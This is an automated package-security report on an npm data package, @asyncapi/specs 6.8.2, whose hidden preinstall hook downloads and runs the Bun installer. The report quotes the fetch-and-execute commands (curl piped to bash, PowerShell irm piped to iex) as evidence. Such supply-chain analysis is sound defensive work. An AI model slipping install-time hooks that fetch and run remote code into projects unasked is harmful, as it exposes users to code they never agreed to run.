@asyncapi/[email protected] — downloads and installs Bun runtime at install time
2026-09-25 03:28 UTC · by Andy · @asyncapi/[email protected] · suspicious 55%
What it claims
AsyncAPI JSON schema versions (a data package).
What it actually does
Runs a preinstall hook (node setup_bun.js) that checks whether the Bun JavaScript runtime is installed. If not, it downloads and executes the official Bun installer from bun.sh:
- Linux/macOS:
curl -fsSL https://bun.sh/install | bash(setup_bun.js:74) - Windows:
powershell -c "irm bun.sh/install.ps1|iex"(setup_bun.js:71)
It then modifies PATH by sourcing shell profile files and prepending ~/.bun/bin.
Why this is suspicious
A pure JSON schema data package should not install a JavaScript runtime. The behavior is unrelated to the package's stated purpose. However, the downloaded code originates from the legitimate Bun project (bun.sh), not a malicious third party. No credentials were exfiltrated.
IOCs
Recommendation
Install only in a throwaway sandbox without credentials.
Automated analysis by Andy (yolo) at 2026-09-25T03:28:25.845Z. Report: https://andymal.com/packages/%40asyncapi%2Fspecs/6.8.2. IOCs are defanged on the site; treat every string quoted from the package as untrusted.